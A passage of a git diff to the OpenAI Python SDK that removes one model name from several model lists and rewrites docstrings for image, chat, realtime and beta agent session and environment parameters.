- confirmation. Physical cleanup may continue asynchronously. See
+ confirmation. If backend execution has ended, deletion can cancel a still-open
+ public turn and abandon unpublished outputs. Running execution must be cancelled
+ first. Physical cleanup may continue asynchronously. See
[managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
Args:
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index e3fb9234a6..669ce1d8ed 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -204,7 +204,6 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -608,7 +607,6 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -1011,7 +1009,6 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -1412,7 +1409,6 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -1896,7 +1892,6 @@ def compact(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -2187,7 +2182,6 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -2591,7 +2585,6 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -2994,7 +2987,6 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -3395,7 +3387,6 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -3879,7 +3870,6 @@ async def compact(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -5246,7 +5236,6 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -5497,7 +5486,6 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/resources/chat/completions/completions.py b/src/openai/resources/chat/completions/completions.py
index 78b0cb9d33..594a908920 100644
--- a/src/openai/resources/chat/completions/completions.py
+++ b/src/openai/resources/chat/completions/completions.py
@@ -412,8 +412,11 @@ def create(
[parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
- prediction: Static predicted output content, such as the content of a text file that is
- being regenerated.
+ prediction: Configuration for a
+ [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
+ which can greatly improve response times when large parts of the model response
+ are known ahead of time. This is most common when you are regenerating a file
+ with only minor changes to most of the content.
presence_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on
whether they appear in the text so far, increasing the model's likelihood to
@@ -757,8 +760,11 @@ def create(
[parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
- prediction: Static predicted output content, such as the content of a text file that is
- being regenerated.
+ prediction: Configuration for a
+ [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
+ which can greatly improve response times when large parts of the model response
+ are known ahead of time. This is most common when you are regenerating a file
+ with only minor changes to most of the content.
presence_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on
whether they appear in the text so far, increasing the model's likelihood to
@@ -1093,8 +1099,11 @@ def create(
[parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
- prediction: Static predicted output content, such as the content of a text file that is
- being regenerated.
+ prediction: Configuration for a
+ [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
+ which can greatly improve response times when large parts of the model response
+ are known ahead of time. This is most common when you are regenerating a file
+ with only minor changes to most of the content.
presence_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on
whether they appear in the text so far, increasing the model's likelihood to
@@ -2035,8 +2044,11 @@ async def create(
[parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
- prediction: Static predicted output content, such as the content of a text file that is
- being regenerated.
+ prediction: Configuration for a
+ [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
+ which can greatly improve response times when large parts of the model response
+ are known ahead of time. This is most common when you are regenerating a file
+ with only minor changes to most of the content.
presence_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on
whether they appear in the text so far, increasing the model's likelihood to
@@ -2380,8 +2392,11 @@ async def create(
[parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
- prediction: Static predicted output content, such as the content of a text file that is
- being regenerated.
+ prediction: Configuration for a
+ [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
+ which can greatly improve response times when large parts of the model response
+ are known ahead of time. This is most common when you are regenerating a file
+ with only minor changes to most of the content.
presence_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on
whether they appear in the text so far, increasing the model's likelihood to
@@ -2716,8 +2731,11 @@ async def create(
[parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
- prediction: Static predicted output content, such as the content of a text file that is
- being regenerated.
+ prediction: Configuration for a
+ [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
+ which can greatly improve response times when large parts of the model response
+ are known ahead of time. This is most common when you are regenerating a file
+ with only minor changes to most of the content.
presence_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on
whether they appear in the text so far, increasing the model's likelihood to
diff --git a/src/openai/resources/conversations/conversations.py b/src/openai/resources/conversations/conversations.py
index bc62041c9e..6d2b4a6289 100644
--- a/src/openai/resources/conversations/conversations.py
+++ b/src/openai/resources/conversations/conversations.py
@@ -165,10 +165,9 @@ def update(
Args:
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
- querying for objects via API or the dashboard.
-
- Keys are strings with a maximum length of 64 characters. Values are strings with
- a maximum length of 512 characters.
+ querying for objects via API or the dashboard. Keys are strings with a maximum
+ length of 64 characters. Values are strings with a maximum length of 512
+ characters.
extra_headers: Send extra headers
@@ -367,10 +366,9 @@ async def update(
Args:
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
- querying for objects via API or the dashboard.
-
- Keys are strings with a maximum length of 64 characters. Values are strings with
- a maximum length of 512 characters.
+ querying for objects via API or the dashboard. Keys are strings with a maximum
+ length of 64 characters. Values are strings with a maximum length of 512
+ characters.
extra_headers: Send extra headers
diff --git a/src/openai/resources/images.py b/src/openai/resources/images.py
index a888332bae..7c3df384d5 100644
--- a/src/openai/resources/images.py
+++ b/src/openai/resources/images.py
@@ -183,10 +183,9 @@ def edit(
`gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
set the output format to `png` or `webp`.
- input_fidelity: Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ input_fidelity: Controls fidelity to the original input image(s). This parameter is supported
+ for GPT image models that support input fidelity. `gpt-image-2` and
+ `gpt-image-2-2026-04-21` ignore this parameter.
mask: An additional image whose fully transparent areas (e.g. where alpha is zero)
indicate where `image` should be edited. If there are multiple images provided,
@@ -320,10 +319,9 @@ def edit(
`gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
set the output format to `png` or `webp`.
- input_fidelity: Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ input_fidelity: Controls fidelity to the original input image(s). This parameter is supported
+ for GPT image models that support input fidelity. `gpt-image-2` and
+ `gpt-image-2-2026-04-21` ignore this parameter.
mask: An additional image whose fully transparent areas (e.g. where alpha is zero)
indicate where `image` should be edited. If there are multiple images provided,
@@ -453,10 +451,9 @@ def edit(
`gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
set the output format to `png` or `webp`.
- input_fidelity: Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ input_fidelity: Controls fidelity to the original input image(s). This parameter is supported
+ for GPT image models that support input fidelity. `gpt-image-2` and
+ `gpt-image-2-2026-04-21` ignore this parameter.
mask: An additional image whose fully transparent areas (e.g. where alpha is zero)
indicate where `image` should be edited. If there are multiple images provided,
@@ -1203,10 +1200,9 @@ async def edit(
`gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
set the output format to `png` or `webp`.
- input_fidelity: Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ input_fidelity: Controls fidelity to the original input image(s). This parameter is supported
+ for GPT image models that support input fidelity. `gpt-image-2` and
+ `gpt-image-2-2026-04-21` ignore this parameter.
mask: An additional image whose fully transparent areas (e.g. where alpha is zero)
indicate where `image` should be edited. If there are multiple images provided,
@@ -1340,10 +1336,9 @@ async def edit(
`gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
set the output format to `png` or `webp`.
- input_fidelity: Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ input_fidelity: Controls fidelity to the original input image(s). This parameter is supported
+ for GPT image models that support input fidelity. `gpt-image-2` and
+ `gpt-image-2-2026-04-21` ignore this parameter.
mask: An additional image whose fully transparent areas (e.g. where alpha is zero)
indicate where `image` should be edited. If there are multiple images provided,
@@ -1473,10 +1468,9 @@ async def edit(
`gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
set the output format to `png` or `webp`.
- input_fidelity: Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ input_fidelity: Controls fidelity to the original input image(s). This parameter is supported
+ for GPT image models that support input fidelity. `gpt-image-2` and
+ `gpt-image-2-2026-04-21` ignore this parameter.
mask: An additional image whose fully transparent areas (e.g. where alpha is zero)
indicate where `image` should be edited. If there are multiple images provided,
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 55f3908472..0cd4cfbdd0 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -1447,8 +1447,9 @@ def create(
"history" of the conversation and to add new items mid-stream, but has the
current limitation that it cannot populate assistant audio messages.
- If successful, the server will respond with a `conversation.item.created`
- event, otherwise an `error` event will be sent.
+ If successful, the server will emit a `conversation.item.added` event and,
+ when the item is finalized, a `conversation.item.done` event. Otherwise, an
+ `error` event will be sent.
"""
self._connection.send(
cast(
@@ -1682,8 +1683,9 @@ async def create(
"history" of the conversation and to add new items mid-stream, but has the
current limitation that it cannot populate assistant audio messages.
- If successful, the server will respond with a `conversation.item.created`
- event, otherwise an `error` event will be sent.
+ If successful, the server will emit a `conversation.item.added` event and,
+ when the item is finalized, a `conversation.item.done` event. Otherwise, an
+ `error` event will be sent.
"""
await self._connection.send(
cast(
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index cf403afcfa..581d0bf2ad 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1828,7 +1828,6 @@ def compact(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -3711,7 +3710,6 @@ async def compact(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/agent_create_params.py b/src/openai/types/beta/agent_create_params.py
index 24aeea32b0..4e0f869d5f 100644
--- a/src/openai/types/beta/agent_create_params.py
+++ b/src/openai/types/beta/agent_create_params.py
@@ -30,16 +30,19 @@ class AgentCreateParams(TypedDict, total=False):
"""
multi_agent: Optional[MultiAgentConfigParam]
- """Explicit configuration for creating and coordinating subagents."""
+ """Configuration for creating and coordinating subagents.
+
+ Subagent tools are disabled by default.
+ """
name: Optional[str]
"""A human-readable name for the agent. Omission or null leaves the agent unnamed."""
reasoning: Optional[AgentReasoningParam]
- """Reasoning configuration for the agent."""
+ """Configuration for model reasoning. Omission uses the model's default effort."""
service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]]
- """The service tier used for model requests.
+ """The service tier used for model requests. Defaults to `auto`.
- `auto` - Selects the service tier automatically.
- `default` - Uses the default service tier.
@@ -49,7 +52,10 @@ class AgentCreateParams(TypedDict, total=False):
"""
text: Optional[AgentTextParam]
- """Configuration for text generated by the agent."""
+ """Configuration for generated text.
+
+ Defaults to the `text` format and medium verbosity.
+ """
tools: Optional[Iterable[PersistedAgentToolParam]]
"""Tools available to the agent. Defaults to an empty list."""
diff --git a/src/openai/types/beta/agent_reasoning.py b/src/openai/types/beta/agent_reasoning.py
index 4b255a6ef3..09b615771c 100644
--- a/src/openai/types/beta/agent_reasoning.py
+++ b/src/openai/types/beta/agent_reasoning.py
@@ -12,10 +12,13 @@ class AgentReasoning(BaseModel):
"""The reasoning configuration used by an agent."""
effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]] = None
- """The amount of reasoning effort used by an agent."""
+ """
+ The requested reasoning effort, or `null` when the model selects its own
+ default.
+ """
summary: Optional[Literal["concise", "detailed", "auto"]] = None
- """The reasoning summary format requested from an agent.
+ """The requested reasoning summary format, or `null` when summaries are disabled.
- `concise` - Returns a concise reasoning summary when supported.
- `detailed` - Returns a detailed reasoning summary when supported.
diff --git a/src/openai/types/beta/agent_reasoning_item.py b/src/openai/types/beta/agent_reasoning_item.py
index 09dd294846..5f062ef63e 100644
--- a/src/openai/types/beta/agent_reasoning_item.py
+++ b/src/openai/types/beta/agent_reasoning_item.py
@@ -17,7 +17,7 @@ class AgentReasoningItem(BaseModel):
"""The ID of the reasoning item."""
status: Optional[AgentOutputItemStatus] = None
- """The status of an agent output item."""
+ """The status of the reasoning item."""
summary: List[SummaryText]
"""The reasoning summaries produced by the agent."""
diff --git a/src/openai/types/beta/agent_reasoning_param.py b/src/openai/types/beta/agent_reasoning_param.py
index 6351ecbccf..3b0e319919 100644
--- a/src/openai/types/beta/agent_reasoning_param.py
+++ b/src/openai/types/beta/agent_reasoning_param.py
@@ -12,10 +12,13 @@ class AgentReasoningParam(TypedDict, total=False):
"""Reasoning configuration for the agent."""
effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]]
- """The amount of reasoning effort the model should use."""
+ """The amount of reasoning effort the model should use.
+
+ Omission lets the model select it.
+ """
summary: Optional[Literal["concise", "detailed", "auto"]]
- """The reasoning summary format requested from the model.
+ """Controls whether the response includes a reasoning summary.
- `concise` - Returns a concise reasoning summary when supported.
- `detailed` - Returns a detailed reasoning summary when supported.
diff --git a/src/openai/types/beta/agent_session.py b/src/openai/types/beta/agent_session.py
index 43c00a1af6..0c57745a56 100644
--- a/src/openai/types/beta/agent_session.py
+++ b/src/openai/types/beta/agent_session.py
@@ -134,9 +134,9 @@ class AgentSession(BaseModel):
"""
usage: Optional[TokenUsage] = None
- """Recorded token usage for a session or turn.
+ """Best-effort token usage for the session, or null if unknown.
- Usage is best effort and may change.
+ Recorded usage may change.
"""
vault_ids: List[str]
diff --git a/src/openai/types/beta/agent_session_assistant_message.py b/src/openai/types/beta/agent_session_assistant_message.py
index 9e96824efb..c817c6a97b 100644
--- a/src/openai/types/beta/agent_session_assistant_message.py
+++ b/src/openai/types/beta/agent_session_assistant_message.py
@@ -20,7 +20,7 @@ class AgentSessionAssistantMessage(BaseModel):
"""The content of the message."""
phase: Optional[Literal["commentary", "final_answer"]] = None
- """The phase of an assistant message.
+ """The phase of the assistant message.
- `commentary` - Commentary produced while the agent works.
- `final_answer` - The agent's final answer.
diff --git a/src/openai/types/beta/agent_session_environment_state.py b/src/openai/types/beta/agent_session_environment_state.py
index 5a42e2ac56..eaa07b401c 100644
--- a/src/openai/types/beta/agent_session_environment_state.py
+++ b/src/openai/types/beta/agent_session_environment_state.py
@@ -9,7 +9,7 @@
class Error(BaseModel):
- """An error reported while preparing a session environment."""
+ """The error reported while preparing the environment, if any."""
code: str
"""A machine-readable error code."""
@@ -28,7 +28,7 @@ class AgentSessionEnvironmentState(BaseModel):
"""The public ID of the environment."""
error: Optional[Error] = None
- """An error reported while preparing a session environment."""
+ """The error reported while preparing the environment, if any."""
status: Literal["pending", "ready", "connected", "disconnected", "failed"]
"""The environment's connection status.
diff --git a/src/openai/types/beta/agent_session_input_param.py b/src/openai/types/beta/agent_session_input_param.py
index d227452e65..b7a49bded8 100644
--- a/src/openai/types/beta/agent_session_input_param.py
+++ b/src/openai/types/beta/agent_session_input_param.py
@@ -52,7 +52,7 @@ class SessionInputParamAgentSessionInputToolResult(TypedDict, total=False):
"""The error message when the call failed."""
output: Optional[AgentFunctionCallOutputParam]
- """A function result represented as text or supported model-input content."""
+ """The function result when the call succeeded."""
AgentSessionInputParam: TypeAlias = Union[
diff --git a/src/openai/types/beta/agent_session_item.py b/src/openai/types/beta/agent_session_item.py
index dc98abce0d..75e7df852c 100644
--- a/src/openai/types/beta/agent_session_item.py
+++ b/src/openai/types/beta/agent_session_item.py
@@ -37,7 +37,7 @@ class FunctionCallOutputItemResource(BaseModel):
"""The error message, if the call failed."""
output: Optional[AgentFunctionCallOutput] = None
- """The text or model-input content supplied as a function result."""
+ """The function result, if the call succeeded."""
status: AgentFunctionCallStatus
"""The status of the function call."""
diff --git a/src/openai/types/beta/agent_session_message.py b/src/openai/types/beta/agent_session_message.py
index 8b38947cc9..b0e0a95161 100644
--- a/src/openai/types/beta/agent_session_message.py
+++ b/src/openai/types/beta/agent_session_message.py
@@ -26,7 +26,7 @@ class AgentSessionMessage(BaseModel):
"""
phase: Optional[Literal["commentary", "final_answer"]] = None
- """The phase of an assistant message.
+ """The phase of an assistant message. Null for user messages.
- `commentary` - Commentary produced while the agent works.
- `final_answer` - The agent's final answer.
diff --git a/src/openai/types/beta/agent_session_turn_cancelled_event.py b/src/openai/types/beta/agent_session_turn_cancelled_event.py
index 491e7efb55..0b8a341585 100644
--- a/src/openai/types/beta/agent_session_turn_cancelled_event.py
+++ b/src/openai/types/beta/agent_session_turn_cancelled_event.py
@@ -29,7 +29,4 @@ class AgentSessionTurnCancelledEvent(BaseModel):
"""The type of the object. Always `agent.session.turn.cancelled`."""
usage: Optional[TokenUsage] = None
- """Recorded token usage for a session or turn.
-
- Usage is best effort and may change.
- """
+ """Token usage by the root agent during the turn, when available."""
diff --git a/src/openai/types/beta/agent_session_turn_completed_event.py b/src/openai/types/beta/agent_session_turn_completed_event.py
index 61019cfff5..1b76925b11 100644
--- a/src/openai/types/beta/agent_session_turn_completed_event.py
+++ b/src/openai/types/beta/agent_session_turn_completed_event.py
@@ -29,7 +29,4 @@ class AgentSessionTurnCompletedEvent(BaseModel):
"""The type of the object. Always `agent.session.turn.completed`."""
usage: Optional[TokenUsage] = None
- """Recorded token usage for a session or turn.
-
- Usage is best effort and may change.
- """
+ """Token usage by the root agent during the turn, when available."""
diff --git a/src/openai/types/beta/agent_session_turn_failed_event.py b/src/openai/types/beta/agent_session_turn_failed_event.py
index 4a9bebbc04..a6bdd6e3e8 100644
--- a/src/openai/types/beta/agent_session_turn_failed_event.py
+++ b/src/openai/types/beta/agent_session_turn_failed_event.py
@@ -29,7 +29,4 @@ class AgentSessionTurnFailedEvent(BaseModel):
"""The type of the object. Always `agent.session.turn.failed`."""
usage: Optional[TokenUsage] = None
- """Recorded token usage for a session or turn.
-
- Usage is best effort and may change.
- """
+ """Token usage by the root agent during the turn, when available."""
diff --git a/src/openai/types/beta/agent_text_param.py b/src/openai/types/beta/agent_text_param.py
index 7f17f0b9b1..c52df0e5df 100644
--- a/src/openai/types/beta/agent_text_param.py
+++ b/src/openai/types/beta/agent_text_param.py
@@ -14,11 +14,13 @@ class AgentTextParam(TypedDict, total=False):
"""Configuration for text generated by the agent."""
format: Optional[TextFormatParam]
- """The output format for generated text."""
+ """The output format. Omission uses ordinary text (`{"type": "text"}`)."""
verbosity: Optional[Literal["low", "medium", "high"]]
"""The amount of text the model should produce.
+ Defaults to `medium`, matching Responses.
+
- `low` - Produces less text.
- `medium` - Uses the default amount of text.
- `high` - Produces more text.
diff --git a/src/openai/types/beta/agent_tool.py b/src/openai/types/beta/agent_tool.py
index 38ed5cf365..023fe89c6a 100644
--- a/src/openai/types/beta/agent_tool.py
+++ b/src/openai/types/beta/agent_tool.py
@@ -78,7 +78,7 @@ class AgentToolResourceMcp(BaseModel):
class AgentToolResourceWebSearchLocation(BaseModel):
- """Approximate user location used to localize web search results."""
+ """Approximate location used to localize search results, if provided."""
city: Optional[str] = None
"""The city name."""
@@ -103,7 +103,7 @@ class AgentToolResourceWebSearch(BaseModel):
"""The amount of search context made available to the model. Defaults to `medium`."""
location: Optional[AgentToolResourceWebSearchLocation] = None
- """Approximate user location used to localize web search results."""
+ """Approximate location used to localize search results, if provided."""
mode: Literal["disabled", "cached", "live"]
"""The source used for web search results."""
diff --git a/src/openai/types/beta/agent_tool_param.py b/src/openai/types/beta/agent_tool_param.py
index b31bd17b9e..a9e3da4df0 100644
--- a/src/openai/types/beta/agent_tool_param.py
+++ b/src/openai/types/beta/agent_tool_param.py
@@ -74,7 +74,10 @@ class AgentToolConfigParamMcp(TypedDict, total=False):
"""The MCP tools the agent may call. All server tools are allowed when omitted."""
connection_origin: Optional[Literal["service", "environment"]]
- """Where outbound MCP HTTP connections originate.
+ """Selects where outbound MCP HTTP connections originate.
+
+ Omitted or `service` uses the Managed Agents service network; `environment` uses
+ the session's selected environment.
- `service` - Uses the Managed Agents service network.
- `environment` - Uses the session's execution environment.
@@ -97,7 +100,7 @@ class AgentToolConfigParamMcp(TypedDict, total=False):
class AgentToolConfigParamWebSearchLocation(TypedDict, total=False):
- """Approximate user location used to localize web search results."""
+ """Approximate location used to localize search results."""
city: Optional[str]
"""The city name."""
@@ -122,13 +125,13 @@ class AgentToolConfigParamWebSearch(TypedDict, total=False):
"""Domains the search may include."""
context_size: Optional[Literal["low", "medium", "high"]]
- """The amount of web search context made available to the model."""
+ """The amount of search context made available to the model. Defaults to `medium`."""
location: Optional[AgentToolConfigParamWebSearchLocation]
- """Approximate user location used to localize web search results."""
+ """Approximate location used to localize search results."""
mode: Optional[Literal["disabled", "cached", "live"]]
- """The source used for web search results.
+ """The source used for web search results. Defaults to `live`.
- `disabled` - Disables web search.
- `cached` - Uses cached search results.
diff --git a/src/openai/types/beta/agent_update_params.py b/src/openai/types/beta/agent_update_params.py
index 9c4a5da4af..b1f034df4a 100644
--- a/src/openai/types/beta/agent_update_params.py
+++ b/src/openai/types/beta/agent_update_params.py
@@ -31,13 +31,17 @@ class AgentUpdateParams(TypedDict, total=False):
"""The model to use for the agent. The requested model name is preserved."""
multi_agent: Optional[MultiAgentConfigParam]
- """Explicit configuration for creating and coordinating subagents."""
+ """Configuration for creating and coordinating subagents."""
name: Optional[str]
"""A replacement name. Omit to leave unchanged, or pass null to clear it."""
reasoning: Optional[AgentReasoningParam]
- """Reasoning configuration for the agent."""
+ """Configuration for model reasoning.
+
+ Omit to keep the current settings; pass `null` to reset to the model's default
+ effort.
+ """
service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]]
"""The service tier used for model requests.
diff --git a/src/openai/types/beta/agent_web_search_call_item.py b/src/openai/types/beta/agent_web_search_call_item.py
index 4706e2760e..48a18e9ca2 100644
--- a/src/openai/types/beta/agent_web_search_call_item.py
+++ b/src/openai/types/beta/agent_web_search_call_item.py
@@ -17,7 +17,7 @@ class AgentWebSearchCallItem(BaseModel):
"""The ID of the web search call."""
action: Optional[WebSearchAction] = None
- """An action performed by the web search tool."""
+ """The action performed by the web search tool."""
status: AgentOutputItemStatus
"""The status of the web search call."""
diff --git a/src/openai/types/beta/agents/environments/template_create_params.py b/src/openai/types/beta/agents/environments/template_create_params.py
index a48d6e1a6e..e57307274c 100644
--- a/src/openai/types/beta/agents/environments/template_create_params.py
+++ b/src/openai/types/beta/agents/environments/template_create_params.py
@@ -31,10 +31,13 @@ class TemplateCreateParams(TypedDict, total=False):
"""An optional human-readable display name for the template."""
network: Optional[Network]
- """Network access for an OpenAI-hosted environment."""
+ """Network access policy for the environment.
+
+ Defaults to disabled for GA requests and enabled for alpha/beta requests.
+ """
packages: Optional[Packages]
- """Packages to install in an OpenAI-hosted environment."""
+ """Packages to install in the environment. Defaults to empty package lists."""
plugins: Optional[Iterable[HostedPluginParam]]
"""Plugins provided as inline ZIP archives. Defaults to an empty list."""
@@ -50,13 +53,15 @@ class TemplateCreateParams(TypedDict, total=False):
class Network(TypedDict, total=False):
- """Network access for an OpenAI-hosted environment."""
+ """Network access policy for the environment.
+
+ Defaults to disabled for GA requests and enabled for alpha/beta requests.
+ """
access: Required[Literal["enabled", "disabled", "restricted"]]
"""The environment's network access mode.
- - `enabled` - Allows unrestricted network access, matching an omitted network
- policy.
+ - `enabled` - Allows unrestricted network access.
- `disabled` - Disables network access.
- `restricted` - Allows access only to configured domains.
"""
@@ -66,7 +71,7 @@ class Network(TypedDict, total=False):
class Packages(TypedDict, total=False):
- """Packages to install in an OpenAI-hosted environment."""
+ """Packages to install in the environment. Defaults to empty package lists."""
npm: Optional[SequenceNotStr[str]]
"""npm packages to install globally. Defaults to an empty list."""
diff --git a/src/openai/types/beta/agents/environments/template_update_params.py b/src/openai/types/beta/agents/environments/template_update_params.py
index 09a7d973ad..a1af3868d5 100644
--- a/src/openai/types/beta/agents/environments/template_update_params.py
+++ b/src/openai/types/beta/agents/environments/template_update_params.py
@@ -28,10 +28,14 @@ class TemplateUpdateParams(TypedDict, total=False):
"""A replacement human-readable display name, or `null` to clear the name."""
network: Optional[Network]
- """Network access for an OpenAI-hosted environment."""
+ """Network access available after setup completes.
+
+ Omit to preserve the current policy, or pass `null` to reset to disabled for GA
+ requests or enabled for alpha/beta requests.
+ """
packages: Optional[Packages]
- """Packages to install in an OpenAI-hosted environment."""
+ """Packages installed before the runtime network policy applies."""
plugins: Optional[Iterable[HostedPluginParam]]
"""Replacement plugin configuration installed for each new session."""
@@ -44,13 +48,15 @@ class TemplateUpdateParams(TypedDict, total=False):
class Network(TypedDict, total=False):
- """Network access for an OpenAI-hosted environment."""
+ """Network access available after setup completes.
+
+ Omit to preserve the current policy, or pass `null` to reset to disabled for GA requests or enabled for alpha/beta requests.
+ """
access: Required[Literal["enabled", "disabled", "restricted"]]
"""The environment's network access mode.
- - `enabled` - Allows unrestricted network access, matching an omitted network
- policy.
+ - `enabled` - Allows unrestricted network access.
- `disabled` - Disables network access.
- `restricted` - Allows access only to configured domains.
"""
@@ -60,7 +66,7 @@ class Network(TypedDict, total=False):
class Packages(TypedDict, total=False):
- """Packages to install in an OpenAI-hosted environment."""
+ """Packages installed before the runtime network policy applies."""
npm: Optional[SequenceNotStr[str]]
"""npm packages to install globally. Defaults to an empty list."""
diff --git a/src/openai/types/beta/agents/session_create_params.py b/src/openai/types/beta/agents/session_create_params.py
index 6271c6beb1..c8a0857784 100644
--- a/src/openai/types/beta/agents/session_create_params.py
+++ b/src/openai/types/beta/agents/session_create_params.py
@@ -34,7 +34,13 @@ class SessionCreateParamsBase(TypedDict, total=False):
"""
input: Union[str, Iterable[AgentSessionInputMessageParam], None]
- """Initial input submitted when creating a session."""
+ """Initial input to submit when the session is created.
+
+ A string is shorthand for a single user message. Required when
+ `environment.type` is `none`, or when `stream` is `true` for an environment that
+ is not `self_hosted`; optional for self-hosted and non-streaming execution
+ environments.
+ """
metadata: Optional[Dict[str, str]]
"""
@@ -62,10 +68,14 @@ class Agent(TypedDict, total=False):
"""The model to use for the agent. The requested model name is preserved."""
multi_agent: Optional[MultiAgentConfigParam]
